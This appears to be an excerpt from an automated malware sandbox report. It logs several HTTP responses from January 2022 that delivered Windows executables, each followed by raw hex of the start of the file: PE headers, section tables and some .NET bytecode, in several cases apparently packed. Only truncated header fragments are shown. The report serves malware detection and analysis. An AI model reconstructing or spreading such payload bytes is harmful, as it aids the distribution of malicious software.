00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 75 72 00 00 00 00 ea 00 00 00 00 90 16 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 6f 62 00 00 00 00 93 0d 00 00 00 a0 16 00 00 0e 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 7b 00 00 00 b0 16 00 00 7c 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 46 00 00 00 30 17 00 00 48 00 00 00 6c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 00:51:39 GMTContent-Type: application/octet-streamContent-Length: 356864Last-Modified: Thu, 13 Jan 2022 20:50:05 GMTConnection: keep-aliveETag: "61e0907d-57200"Expires: Fri, 21 Jan 2022 00:51:39 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 12 01 00 00 5c 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 71 01 00 c8 00 00 00 00 90 01 00 f4 15 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 7e 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 42 d6 00 00 00 50 00 00 00 d8 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 33 00 00 00 30 01 00 00 34 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 17 00 00 00 70 01 00 00 12 00 00 00 4a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f4 15 04 00 00 90 01 00 00 16 04 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 00:51:42 GMTContent-Type: application/octet-streamContent-Length: 357376Last-Modified: Thu, 13 Jan 2022 19:33:07 GMTConnection: keep-aliveETag: "61e07e73-57400"Expires: Fri, 21 Jan 2022 00:51:42 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 12 01 00 00 5e 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 71 01 00 c8 00 00 00 00 90 01 00 44 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 7e 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 42 d6 00 00 00 50 00 00 00 d8 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 33 00 00 00 30 01 00 00 34 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 17 00 00 00 70 01 00 00 12 00 00 00 4a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 44 16 04 00 00 90 01 00 00 18 04 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 00:51:44 GMTContent-Type: application/octet-streamContent-Length: 226816Last-Modified: Thu, 13 Jan 2022 19:31:57 GMTConnection: keep-aliveETag: "61e07e2d-37600"Expires: Fri, 21 Jan 2022 00:51:44 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a7 79 e0 61 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 70 03 00 00 04 00 00 00 00 00 00 12 8e 03 00 00 20 00 00 00 a0 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 03 00 00 02 00 00 fc a7 03 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 8d 03 00 4f 00 00 00 00 a0 03 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 0c 00 00 00 88 8c 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 6e 03 00 00 20 00 00 00 70 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 00 00 00 00 a0 03 00 00 02 00 00 00 72 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 03 00 00 02 00 00 00 74 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 8d 03 00 00 00 00 00 48 00 00 00 02 00 05 00 00 98 00 00 d0 68 00 00 03 00 02 00 01 00 00 06 d0 00 01 00 b8 8b 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 00 28 15 00 00 0a 00 16 28 16 00 00 0a 00 73 0a 00 00 06 28 17 00 00 0a 00 2a 26 02 28 18 00 00 0a 00 00 2a 00 00 00 13 30 02 00 39 00 00 00 01 00 00 11 00 7e 01 00 00 04 14 fe 01 0a 06 2c 22 00 72 01 00 00 70 d0 03 00 00 02 28 19 00 00 0a 6f 1a 00 00 0a 73 1b 00 00 0a 0b 07 80 01 00 00 04 00 7e 01 00 00 04 0c 2b 00 08 2a 00 00 00 13 30 01 00 0b 00 00 00 02 00 00 11 00 7e 02 00 00 04 0a 2b 00 06 2a 22 00 02 80 02 00 00 04 2a 13 30 03 00 21 00 00 00 03 00 00 11 00 28 03 00 00 06 72 63 00 00 70 7e 02 00 00 04 6f 1c 00 00 0a 0a 06 74 01 00 00 1b 0b 2b 00 07 2a 00 00 00 13 30 01 00 0b 00 00 00 04 00 00 11 00 7e 03 00 00 04 0a 2b 00 06 2a 22 02 28 1d 00 00 0a 00 2a 56 73 08 00 00 06 28 1e 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 5e 02 14 7d 04 00 00 04 02 28 1f 00 00 0a 00 00 02 28 14 00 00 06 00 2a 00 00 13 30 01 00 0f 00 00 00 05 00 00 11 00 73 38 00 00 06 0a 06 6f 20 00 00 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 00:51:45 GMTContent-Type: application/octet-streamContent-Length: 535232Last-Modified: Thu, 13 Jan 2022 19:32:17 GMTConnection: keep-aliveETag: "61e07e41-82ac0"Expires: Fri, 21 Jan 2022 00:51:45 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 73 0f cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3a 00 00 00 0a 04 00 00 00 00 00 00 a0 04 00 00 20 00 00 00 60 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 be bf 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e4 01 00 00 00 90 00 00 ac 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 6c 73 00 00 00 00 00 70 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 80 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ac 08 04 00 00 90 00 00 ac 08 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 80 01 00 00 a0 04 00 11 7d 01 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 00:51:47 GMTContent-Type: application/octet-streamContent-Length: 2387648Last-Modified: Thu, 13 Jan 2022 20:12:05 GMTConnection: keep-aliveETag: "61e08795-246ec0"Expires: Fri, 21 Jan 2022 00:51:47 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 5e 3d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 64 3f 00 00 18 03 00 00 00 00 00 00 e0 42 00 00 20 00 00 00 a0 3f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 44 00 00 04 00 00 6f 94 24 00 02 00 60 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 3f 00 dc 01 00 00 00 c0 3f 00 14 17 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 65 64 61 74 61 00 00 00 a0 3f 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 b0 3f 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 14 17 03 00 00 c0 3f 00 14 17 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 43 52 54 00 00 00 00 00 80 01 00 00 e0 42 00 17 79 01 00 00 1e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:48 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:51 GMTContent-Type: application/x-msdos-programContent-Length: 557664Connection: closeLast-Modified: Thu, 13 Jan 2022 19:20:04 GMTETag: "88260-5d57b92d7ebed"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d6 ad 35 ab 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 24 03 00 00 2a 03 00 00 00 00 00 00 b0 06 00 00 20 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 1c 40 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 03 00 e4 01 00 00 00 80 03 00 50 29 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 29 03 00 00 80 03 00 30 06 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 61 00 00 80 01 00 00 b0 06 00 fc 78 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 